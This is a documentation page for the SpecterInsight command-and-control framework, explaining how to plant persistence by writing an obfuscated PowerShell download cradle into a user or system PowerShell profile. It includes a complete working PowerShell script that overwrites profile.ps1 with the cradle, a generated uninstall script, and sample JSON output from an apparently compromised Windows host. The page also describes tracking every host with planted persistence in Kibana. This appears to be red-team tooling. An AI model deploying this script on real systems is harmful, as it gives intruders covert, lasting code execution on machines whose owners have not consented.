11. Persistence

Overview

SpecterInsight ships with a variety of persistence mechanisms and effectively leverages the data analysis integration with ELK to ensure you never lose track of your persistence mechanisms during an engagement.

Persistence Through PowerShell Profile

Description

SpecterInsight ships with a built-in persistence mechanism by dropping a cradle in one of the PowerShell profiles. There are various PowerShell profiles that execute when a PowerShell host starts up that run with the privileges of the executing user. SpecterInsight also provides an HTTP endpoint that will generate and obfuscate a PowerShell cradle which will securely load a Specter into memory.

WARNING: This persistence method may generate a large number of callbacks if there are a lot of PowerShell processes executing on the target system. You may want to consider building a custom Specter with a startup script that checks for duplicate sessions and exits if one is found.

Lookup Persistence Techniques

Search for available persistence techniques by applying a label filter to show only those SpecterSctipts with the persistence tag. Select the SpecterScript titled “Persistence with PowerShell Profile and PowerShell Cradle.” Then click the Insert button.

This particular script has two inputs:

  • Profile: The PowerShell profile to use (either “User” or “System”.
  • Build: The Specter build identifier the persistence mechanism will use. By default, this script will use the current Specter configuration, but you can change this parameter to drop a Specter with a different configuration.

Configure the parameters as desired, and then click the “Run in Background” button.

Review Task Output

Once the task completes, the SpecterScript will return a few fields specific to persistence techniques:

  • PersistenceMethod: The type of persistence technique.
  • Profile: User or System profile which lets you know whether the technique is tied to a specific user account or can be actuated without a specific user being logged in.
  • Trigger: The mechanism by which the persistence payload is triggered.
  • UninstallScript: A script that will remove the persistence technique. Simply execute this script from a Specter running on the same system you dropped persistence from, and it will cleanup your persistence.
Command
#########################
#Arguments
#########################
#Either User or System
$Profile = "User"
$Build = [SpecterInsight.Agent]::Build;

#########################
#Script
#########################
try {
	#Get the URL for the cradle generator
	$cradle = payload -Kind 'ps_cradle' -Build $Build;
	
	#Get the right path
	if($Profile -eq "System") {
	    $path = "$PSHOME\Profile.ps1";
	} else {
	    $path = "$HOME\Documents\WindowsPowerShell\profile.ps1";
	}
	
	#Ensure the parent directory exists
	$directory = [IO.Path]::GetDirectoryName($path);
	if(![IO.Directory]::Exists($directory)) {
	    [void][IO.Directory]::CreateDirectory($directory);
	}
	
	#Overwrite the current profile
	[IO.File]::WriteAllText($path, $cradle);
	$success = $true;
} catch {
	$success = $false;
	throw;
}

#Log output
$id = [Guid]::NewGuid().ToString().Replace("-", "");

New-Object PSObject -Property @{
	Persistence = New-Object PSObject -Property @{
		Id = $id;
		Event = "Create";
		Success = $success;
	    Method = "PowerShell Profile";
	    Profile = $Profile;
	    Trigger = "PowerShell Host Startup";
	    Build = $Build;
	    ProfilePath = $path;
	    UninstallScript = @"
try {
	[System.IO.File]::Delete('$path');
	`$success = `$true;
} catch {
	`$success = `$false;
	throw;
}

New-Object PSObject -Property @{
	Persistence = New-Object PSObject -Property @{
		Id = "$id";
		Event = "Delete";
		Success = `$success;
	    Method = "PowerShell Profile";
	    Profile = "$Profile";
	    Trigger = "PowerShell Host Startup";
	}
}
"@;
	}
}
Screenshot
Json Output
{
  "Persistence": {
    "Id": "0fa66def23ad4958b5c3951c88f3919e",
    "Method": "PowerShell Profile",
    "Trigger": "PowerShell Host Startup",
    "Build": "a5dc1b45a8a0458aa84f149cfe7ead68",
    "Profile": "User",
    "Event": "Create",
    "Success": true,
    "UninstallScript": "try {\r\n\t[System.IO.File]::Delete('C:\\Users\\helpdesk\\Documents\\WindowsPowerShell\\profile.ps1');\r\n\t$success = $true;\r\n} catch {\r\n\t$success = $false;\r\n\tthrow;\r\n}\r\n\r\nNew-Object PSObject -Property @{\r\n\tPersistence = New-Object PSObject -Property @{\r\n\t\tId = \"0fa66def23ad4958b5c3951c88f3919e\";\r\n\t\tEvent = \"Delete\";\r\n\t\tSuccess = $success;\r\n\t    Method = \"PowerShell Profile\";\r\n\t    Profile = \"User\";\r\n\t    Trigger = \"PowerShell Host Startup\";\r\n\t}\r\n}",
    "ProfilePath": "C:\\Users\\helpdesk\\Documents\\WindowsPowerShell\\profile.ps1"
  },
  "Session": {
    "MachineId": "dfec7175a6a62757d83b93794df767d5acfadb82",
    "SessionId": "fcaa0a40916f4851a083254e24924962",
    "FQDN": "DESKTOP-LMCH70V",
    "IP": "::ffff:192.168.1.101",
    "OS": "Windows 10.0.19045",
    "Username": "DESKTOP-LMCH70V\\helpdesk",
    "PID": 10120,
    "Path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
  },
  "@timestamp": "2023-10-20T22:34:08.1859544Z",
  "Specter": {
    "TaskId": "fad367ad7163481fa5ca0dc1cc9d756d",
    "Type": "Task",
    "Category": "",
    "Subcategory": "",
    "Labels": [
      "api",
      "event-triggered-execution",
      "persistence",
      "powershell-profile",
      "windows"
    ]
  }
}

Keep Track of Your Persistence

In Kibana, navigate to the “SpecterInsight – C2 Analysis” dashboard. Scroll down to the persistence area. There are pre-built visuals for OS, PersistenceMethod, and Profile as well as a detailed discovery panel that lists every system you’ve dropped persistence on during the engagement.

Scroll to Top